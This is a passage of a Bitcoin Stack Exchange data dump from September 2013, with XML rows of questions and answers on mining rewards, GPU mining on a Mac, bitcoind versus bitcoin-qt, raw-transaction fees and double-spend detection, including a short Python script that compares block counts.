  <row Id="13336" PostTypeId="1" AcceptedAnswerId="13339" CreationDate="2013-09-16T15:16:57.053" Score="1" ViewCount="383" Body="&lt;p&gt;If a pool mines a block and is mistakenly rewarding miners with less coins than they should be given, is it possible for others to recover those coins somehow? Or are they lost forever?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the reward should be 50 BTC and the pool pays everyone a total of 5 (because the script has a bug and everyone's payout is divided by 10), is it possible for the other 45 BTC to be recovered?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2016-03-10T09:32:58.947" LastActivityDate="2016-03-10T09:32:58.947" Title="if a coinbase reward isn't fully spent, can the coins ever be recovered?" Tags="|mining-reward|coinbase-transaction|mining-technical-details|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-11T18:39:35.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="13337" PostTypeId="2" ParentId="13318" CreationDate="2013-09-16T15:24:31.253" Score="0" Body="&lt;p&gt;I assume that you have downloaded Bitcoin-QT, the standard bitcoin client. This enables you to manage your addresses, to send and to receive Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mine bitcoin you will need special software, and if you want to mine bitcoin profitably you will also need special hardware. There is numerous questions about &quot;how to mine with X&quot; on this site, if you want to get started with that. See for example: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1433/how-can-i-start-mining-bitcoin&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-09-16T15:24:31.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13338" PostTypeId="2" ParentId="13233" CreationDate="2013-09-16T15:56:15.540" Score="2" Body="&lt;p&gt;I made something exactly like what you need with sample code to be used with electrum bitcoin client. check it here. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=220494.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=220494.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been busy to develop it further but eventually I will get to it ^_^.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy and please share feedback.&lt;/p&gt;&#xA;" OwnerUserId="6773" LastActivityDate="2013-09-16T15:56:15.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13339" PostTypeId="2" ParentId="13336" CreationDate="2013-09-16T16:14:17.633" Score="1" Body="&lt;p&gt;&lt;strong&gt;No, the remainder of the reward is lost.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin protocol includes a check which rejects a block that claims a bigger reward than '&lt;em&gt;current block reward + transaction fees&lt;/em&gt;'. Thus, inevitably follows that any rewards unclaimed in the coinbase transaction cannot be claimed at a later time.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-09-16T16:29:44.687" LastActivityDate="2013-09-16T16:29:44.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13340" PostTypeId="2" ParentId="13330" CreationDate="2013-09-16T16:42:31.617" Score="7" Body="&lt;p&gt;If the Ripple network splits in half, then each half will validate ledgers independently, potentially with conflicting transactions. If all servers are properly configured, they will not accept any of these ledgers as fully validated, since none of them will have sufficient validations. It's possible both sides will think they're in the minority (if the split is close to 50/50).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This reflects a basic Ripple design principle -- don't tell people they can rely on results if the results are unreliable. If conditions make reliable operation impossible, it is preferable not to operate than to give people results they cannot rely on. Ripple is designed to detect these kinds of conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the network rejoins, servers will see the other ledger chain. They will gradually avalanche to the chain with more validations until one chain or the other has a super-majority of trusted validators. At that time, the network is back in agreement and everyone can again rely on the results of transactions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-09-16T16:42:31.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13341" PostTypeId="1" CreationDate="2013-09-16T18:57:49.210" Score="-3" ViewCount="277" Body="&lt;p&gt;Of course dollars are green... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would the color of a bitcoin be if it had a color?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-09-16T23:08:58.063" Title="What color would a bitcoin be if it had a color?" Tags="|currencies|" AnswerCount="1" CommentCount="2" ClosedDate="2013-09-19T10:52:34.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="13342" PostTypeId="1" AcceptedAnswerId="13344" CreationDate="2013-09-16T19:23:12.370" Score="1" ViewCount="1712" Body="&lt;p&gt;I succesfully installed &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt; on my mac but every time I try to run it I get the message &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-09-16 15:03:49] clDevicesNum returned error, no GPUs usable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;why is this? Is it that you cannot mine with the GPU on a mac, or am I just doing something wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Macbook Pro (2011)&lt;/li&gt;&#xA;&lt;li&gt;Mac OS X Lion 10.7.5&lt;/li&gt;&#xA;&lt;li&gt;Intel HD Graphics 3000 384 MB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="5406" LastEditDate="2016-04-01T09:06:35.563" LastActivityDate="2016-04-01T09:06:35.563" Title="Can one GPU mine on Mac OS X using cgminer?" Tags="|cgminer|mac|gpu|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13344" PostTypeId="2" ParentId="13342" CreationDate="2013-09-16T20:40:47.677" Score="2" Body="&lt;p&gt;That generation of Intel integrated graphics does not have OpenCL support, which is needed for mining.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-09-16T20:40:47.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13347" PostTypeId="2" ParentId="12427" CreationDate="2013-09-16T22:17:37.267" Score="71" Body="&lt;p&gt;&lt;em&gt;If you are completely new to Bitcoin, you may find my &lt;a href=&quot;https://bitcoin.stackexchange.com/a/42515/5406&quot;&gt;second answer&lt;/a&gt; more accessible, which is a &lt;strong&gt;less technical description&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you said, &lt;strong&gt;the blockchain is a log of all transactions that were ever verified on the Bitcoin network.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transactions are collected in &lt;strong&gt;&lt;em&gt;blocks&lt;/em&gt;&lt;/strong&gt;, which are found approximately every ten minutes in a random process called mining. As transactions transfer ownership of Bitcoin balances, each of these blocks represents an update of the user's balances on the network.&lt;br&gt;&#xA;By following the blockchain from the Genesis Block and applying all transactions that were validated in each block in the correct order, you arrive at the current status quo.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Each block header contains:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HrKX0.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HrKX0.png&quot; alt=&quot;Bitcoin Block Data&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/HrKX0.png&quot; rel=&quot;noreferrer&quot;&gt;[Illustration by Matthäus Wander (Wikimedia)]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Timestamp:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;The time when the block was found.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reference to Parent (&lt;code&gt;Prev_Hash&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;This is a hash of the previous block header which ties each block to its parent, and therefore by induction to all previous blocks. This chain of references is the eponymic concept for the blockchain.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Merkle Root (&lt;code&gt;Tx_Root&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;The Merkle Root is a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37225/5406&quot;&gt;reduced representation&lt;/a&gt; of the set of transactions that is confirmed with this block. The transactions themselves are provided independently forming the &lt;strong&gt;body of the block&lt;/strong&gt;. There must be at least one transaction: The &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4572/5406&quot;&gt;Coinbase&lt;/a&gt;. The Coinbase is a special transaction that may create new bitcoins and collects the transactions fees. Other transactions are optional.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;The target corresponds to the difficulty of finding a new block. It is updated every 2016 blocks when the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5838/5406&quot;&gt;difficulty reset&lt;/a&gt; occurs.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Nonce:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;An arbitrarily picked number to conveniently add entropy to a block header without rebuilding the Merkle tree.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The block's own hash:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;All of the above header items (i.e. all except the transaction data) get hashed into the block hash, which for one is proof that the other parts of the header have not been changed, and then is used as a reference by the succeeding block.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As many miners compete to find the next block, often there will be more than one valid next block discovered. This is resolved as soon as one of the two forks progresses to a greater length, at which any client that receives the newest block knows to discard the shorter fork. These discarded blocks are referred to as &lt;em&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/5859/5406&quot;&gt;extinct blocks&lt;/a&gt;&lt;/em&gt; (sometimes also referred to as &lt;em&gt;orphaned blocks&lt;/em&gt;, although their complete ancestry is known).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a transaction is submitted to the network, it is passed on peer to peer by all clients. Upon discovery miners will put it on their list of transactions that they want to verify and update the Merkle Root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Blockchain.info you can track a transaction either by requesting the page directly with the transaction hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockchain.info/tx/&amp;lt;transaction-hash&amp;gt;&#xA;e.g. http://blockchain.info/tx/37df28642f97db7003a7bc6663467eb1e9cb4493b6c94bf089ee77f87acdae3d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or by calling one of the involved addresses through&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockchain.info/address/&amp;lt;address&amp;gt;&#xA;e.g. http://blockchain.info/address/1DrZtRNsSu9BqGcY4D9etFno4H95DqNmKb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either way for each transaction you will see a line with a big arrow that shows you which addresses' were used to fund the transaction and what addresses received which portions of the transaction.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-10-31T09:33:53.353" LastActivityDate="2017-10-31T09:33:53.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13349" PostTypeId="2" ParentId="13341" CreationDate="2013-09-16T23:08:58.063" Score="1" Body="&lt;p&gt;Orange... because all 'bitcoin' logo's..etc to date seem to be centred around orange. &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-09-16T23:08:58.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13350" PostTypeId="2" ParentId="13332" CreationDate="2013-09-16T23:12:46.253" Score="3" Body="&lt;p&gt;When you have a bitcoin balance, that balance is actually unspent outputs from transactions your addresses have already received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you want to send a raw transaction, what you include in that is the transactions and unspent outputs from those transactions... these can be from any address in your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;createrawtransaction&#xA;signrawtransaction&#xA;sendrawtransaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you google around, you'll find plenty of examples of their use. &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-09-16T23:12:46.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13353" PostTypeId="2" ParentId="9068" CreationDate="2013-09-17T01:22:05.950" Score="20" Body="&lt;p&gt;I use a python script that grabs &lt;a href=&quot;http://blockchain.info/q/getblockcount&quot;&gt;http://blockchain.info/q/getblockcount&lt;/a&gt; and compares it to the output of &lt;code&gt;bitcoind getblockcount&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have said, there is no absolute way of telling if your blockchain is up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import httplib2&#xA;    from bitcoinrpc.authproxy import AuthServiceProxy&#xA;    access = AuthServiceProxy('#########')&#xA;    try:&#xA;            blockCount = access.getblockcount()&#xA;    except Exception as e:&#xA;            print &quot;Problems connecting to bitcoin wallet:&quot;&#xA;    else:&#xA;            try:&#xA;                    response, trueBlockCount = httplib2.Http().request(&quot;http://blockexplorer.com/q/getblockcount/&quot;)&#xA;            except Exception as e:&#xA;                    print &quot;Unable to get true blockcount from blockexplorer:&quot;+str(e)&#xA;            else:&#xA;                    if (int(trueBlockCount) - 5) &amp;gt; blockCount :&#xA;                            print &quot;blockchain not up to date: true block count is: &quot;+str(trueBlockCount)+&quot;, while bitcoind is at: &quot;+str(blockCount)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4356" LastEditorUserId="4356" LastEditDate="2013-09-17T06:13:08.490" LastActivityDate="2013-09-17T06:13:08.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13354" PostTypeId="1" AcceptedAnswerId="13357" CreationDate="2013-09-17T01:40:52.973" Score="0" ViewCount="391" Body="&lt;p&gt;My bitcoind daemon stopped updating the blockchain at block 258354.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;db.log says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lock table is out of available lock entries&#xA;Lock table is out of available lock entries&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is an excerpt from debug.log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: ConnectInputs() : 5915fee0a9 mapTransactions prev not found 66283c57ab&#xA;ERROR: AcceptToMemoryPool() : ConnectInputs failed 5915fee0a9&#xA;storing orphan tx 5915fee0a9&#xA;received: inv (37 bytes)&#xA;got inventory: tx 09920def2c50d6b07081  new&#xA;askfor tx 09920def2c50d6b07081   0&#xA;sending getdata: tx 09920def2c50d6b07081&#xA;sending: getdata (37 bytes) &#xA;received: inv (37 bytes)&#xA;got inventory: tx 09920def2c50d6b07081  new&#xA;askfor tx 09920def2c50d6b07081   1379380242000000&#xA;received: inv (253 bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I should do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just spent a week downloading the blockchain. Please not again.&lt;/p&gt;&#xA;" OwnerUserId="4356" LastActivityDate="2013-09-17T02:43:30.097" Title="Bitcoind stuck: Lock table is out of available lock entries" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13355" PostTypeId="1" AcceptedAnswerId="13356" CreationDate="2013-09-17T02:29:19.653" Score="0" ViewCount="117" Body="&lt;p&gt;Like the question states, is it currently possible in the Bitcoin blockchain to send coins to an address, but have the transaction written into a block or validated only after two parties sign messages into the blockchain that the funds should be released?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does exist, how does this technically work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment describing or linking to something similar to this or on the off-chain level would be appreciated too.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-09-17T02:41:12.007" Title="is it currently possible in the Bitcoin blockchain to send coins to an address only after two parties sign messages signaling the funds to be released" Tags="|transactions|blockchain|message-signing|off-chain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13356" PostTypeId="2" ParentId="13355" CreationDate="2013-09-17T02:41:12.007" Score="1" Body="&lt;p&gt;It's a built-in blockchain feature called a multisig transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0010&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BIP_0010&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-17T02:41:12.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13357" PostTypeId="2" ParentId="13354" CreationDate="2013-09-17T02:43:30.097" Score="1" Body="&lt;p&gt;Have you updated to the latest client in the 0.8.x series? At a wild guess, it sounds like you're on 0.7.x.&lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-17T02:43:30.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13359" PostTypeId="2" ParentId="8309" CreationDate="2013-09-17T03:54:09.573" Score="0" Body="&lt;p&gt;As far as I know, SatoshiDice doesn't need anything except a wallet.  You send your bet to a certain fixed address (which you could add to your address book) and then your winnings are sent back to your address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, there isn't really a game to play in this case.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-09-17T03:54:09.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13360" PostTypeId="1" CreationDate="2013-09-17T04:40:41.337" Score="4" ViewCount="2056" Body="&lt;p&gt;So, after understanding how to create and send raw transactions on the basis of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13332/how-to-send-from-many-bitcoin-addresses-to-one-bitcoin-address&quot;&gt;'How to send from many bitcoin addresses to one bitcoin address?'&lt;/a&gt;, in practice I still struggle with transaction fees. For example, I do the following in order to calculate the size of an hex-encoded transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex_raw_transaction = createrawtransaction(...)&#xA;hex_raw_transaction = signrawtransaction(hex_raw_transaction)&#xA;byte[] size = HexStringToByteArray(hex_raw_transaction)&#xA;int transaction_size = size.Length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that a correct way to determinate the transaction size? (Regarding to &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct that the transaction fee is set by the unassigned amount in the outputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have 1 BTC in one address and send the 0.65 BTC to a second address and 0.3495 BTC as change to the first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//The fee will be: &#xA;fee = 1 - (0.65 + 0.3495)  //= 0.0005 btc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it correct that the fee will be 0.0005 BTC? &lt;/p&gt;&#xA;" OwnerUserId="6770" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-10-18T18:39:32.037" Title="How are transaction fees calculated in raw-transactions?" Tags="|transaction-fees|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13362" PostTypeId="2" ParentId="13315" CreationDate="2013-09-17T05:35:57.587" Score="1" Body="&lt;p&gt;As long as the key is mathematically valid, which it will be, then it will be recognized.  The blockchain simply keeps track that someone sent coins to that address. It doesn't need to know anything else about it--the address isn't &quot;registered&quot; somewhere in advance Your wallet will contain the private key for that address which means that you will be the only one able to receive and spend the bitcoins which belong to that address.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-09-17T05:35:57.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13363" PostTypeId="1" AcceptedAnswerId="13364" CreationDate="2013-09-17T08:49:17.710" Score="0" ViewCount="500" Body="&lt;p&gt;Is there any way to download the &lt;a href=&quot;https://blockchain.info/tags?filter=8&quot; rel=&quot;nofollow&quot;&gt;address-tags&lt;/a&gt; list as a file?&#xA;This would be very useful for a bitcoin data analysis project.&lt;/p&gt;&#xA;" OwnerUserId="6781" LastEditorUserId="6781" LastEditDate="2013-10-01T20:40:07.097" LastActivityDate="2021-06-25T19:00:40.837" Title="Extract the tag list from blockchain.info" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13364" PostTypeId="2" ParentId="13363" CreationDate="2013-09-17T10:29:48.860" Score="0" Body="&lt;p&gt;You can select the text and paste it directly into Calc, Excel or whatever spreadsheet-program you use.&#xA;They recognize the tabs as seperators.&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-17T10:29:48.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13366" PostTypeId="2" ParentId="13360" CreationDate="2013-09-17T14:31:31.483" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3011/6288&quot;&gt;Here&lt;/a&gt; is a great answer on how to calculate the transaction size before sending. (Make sure to read the final edit.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the fee, you've got it right: whatever amount from the inputs is NOT sent to other addresses, becomes the transaction fee for the miners.&lt;/p&gt;&#xA;" OwnerUserId="6288" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-09-17T14:31:31.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13368" PostTypeId="1" AcceptedAnswerId="13369" CreationDate="2013-09-17T18:43:52.037" Score="22" ViewCount="23063" Body="&lt;p&gt;This is a multi-part question, mainly do to contradictory information from different articles. It's got me all confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding, bitcoin-qt is just a GUI version of bitcoind - which was the original 'client' or 'node'. Is it true that bitcoind is actually built within bitcoin-qt, and runs in the background as a daemon (when the app is open)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first started bitcoin-qt, it started downloading the block-chain. After that, I was curious about setting up a pool server, so I sought out information about that. I ended up going through a tutorial on installing Eloipool - they informed me that I had to have bitcoind setup and running as a daemon. That was interesting, because I thought that it was already running through bitcoin-qt? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where my confusion started. I even tried using the bitcoin-qt debug console; but it didn't have the same commands as bitcoind - specifically the rpc ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does this leave me? Am I doing something wrong? If I shutdown bitcoin-qt and start bitcoind -daemon, then it starts downloading another block-chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I really need both of these to make this work, or does the bitcoin-qt have access (somehow) to all the bitcoind commands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does bitcoin-qt use bitcoin.conf, the same as bitcoind? The reason I ask this, is for setting up the rpcuser and rpcpassword, amongst other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some more reading, and found out that most people just use bitcoind for more serious stuff. Is there not a way to configure bitcoin-qt to use a currently running instance of bitcoind, instead of spawning it's own daemon (when GUI is open).&lt;/p&gt;&#xA;" OwnerUserId="6786" LastEditorUserId="47827" LastEditDate="2020-10-04T11:55:05.340" LastActivityDate="2020-10-04T11:55:05.340" Title="What's the difference between bitcoind and bitcoin-qt? Different commands?" Tags="|bitcoin-core|bitcoind|bitcoincore-gui|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13369" PostTypeId="2" ParentId="13368" CreationDate="2013-09-17T19:10:05.060" Score="24" Body="&lt;p&gt;You can either run &lt;code&gt;bitcoin-qt&lt;/code&gt; or &lt;code&gt;bitcoind&lt;/code&gt;, not both at the same time (the Qt part is not just a frontend on top of the RPC code, it uses the core directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however run Bitcoin-Qt with the &lt;code&gt;-server&lt;/code&gt; command-line switch, in which case it will also expose an RPC service (essentially functioning like &lt;code&gt;bitcoind&lt;/code&gt; in addition to the GUI interface). The RPC console inside the GUI has the exact same functionality as the &lt;code&gt;bitcoind&lt;/code&gt; RPC client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &lt;code&gt;bitcoind&lt;/code&gt; is both an RPC server (when started without RPC command on the command-line) and an RPC client (when started with RPC command on the command-line), while Bitcoin-Qt only optionally runs an RPC server (when started with &lt;code&gt;-server&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: In version 0.9, &lt;code&gt;bitcoin-cli&lt;/code&gt; was added with just the RPC client functionality from &lt;code&gt;bitcoind&lt;/code&gt;. In version 0.10, this functionality will be removed from &lt;code&gt;bitcoind&lt;/code&gt;. This means that the following ways of interacting will be possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt; or an external RPC client talking to &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt; or an external RPC client talking to &lt;code&gt;bitcoin-qt -server&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Using the RPC console in &lt;code&gt;bitcoin-qt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-07-06T22:36:09.057" LastActivityDate="2014-07-06T22:36:09.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13370" PostTypeId="1" AcceptedAnswerId="13377" CreationDate="2013-09-17T21:26:37.207" Score="16" ViewCount="8769" Body="&lt;p&gt;As a vendor, how do you detect a double-spend? I'm happy to tell end-users that I'm proceeding with a transaction on 0 confirms, simply assuming everything is fine. I'm selling physical goods and so I don't ship them until I actually have 6 confirmations. I only alert the customer if I actually discover a problem. But I still need to have a way to detect if a transaction is stuck vs a malicious double-spend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At what point does a transaction become suspicious? Besides manually looking up transactions on blockchain.org, how do you know a transaction is a double-spend? Monitoring all transactions happening on the network in order to match transaction inputs (as does blockchain.org) seems excessive. I'm looking for a solution I can implement using the bitcoind API.&lt;/p&gt;&#xA;" OwnerUserId="6788" LastEditorUserId="5406" LastEditDate="2017-06-27T00:09:57.557" LastActivityDate="2017-06-27T00:09:57.557" Title="How do I detect a double-spend?" Tags="|bitcoind|doublespend|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13371" PostTypeId="1" AcceptedAnswerId="13372" CreationDate="2013-09-17T22:27:05.100" Score="3" ViewCount="4706" Body="&lt;p&gt;I don't see the bitcoins I was supposed to receive today at 3PM and I tried to close the application to refresh it but it still hasn't arrived. I used GoldUX so that he could send my webmoney to my bitcoin wallet. I gave him the address that took it from my bitcoin application on my windows first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now I'm seeing a wallet (unsynchronized) is this the reason why I cant see the money I was supposed to have received???&lt;/p&gt;&#xA;" OwnerUserId="6789" LastEditorUserId="132" LastEditDate="2013-09-18T10:39:16.900" LastActivityDate="2013-09-18T10:39:16.900" Title="Wallet says “unsynchronised”, is that stopping me from seeing my bitcoins that I just received?" Tags="|wallet|synchronization|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-20T11:23:39.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="13372" PostTypeId="2" ParentId="13371" CreationDate="2013-09-17T22:44:01.977" Score="4" Body="&lt;p&gt;This is most likely the case. If your wallet is not synchronized, that means that it does not yet have a record of all transactions. Since synchronization happens in the order that blocks (and thus transactions) occurs, your later transactions will not show up until the synchronization reaches that point, which could take a while...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to confirm that your coins went through without having to synchronize your wallet, you have at least two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Web-based Wallets&lt;/em&gt; such as &lt;em&gt;BlockChain.info&lt;/em&gt; are connected to a backend service that is constantly synchronized. With blockchain.info, you can search for the public address to which your coins were sent without having to go through any signup process. This is probably your easiest option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Electrum&lt;/em&gt; (&lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/&lt;/a&gt;) is a wallet that connects to servers that are already synchronized and thus will give you immediate results as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is a vague possibility, that this issues is caused by something other than the synchronization, so, if the 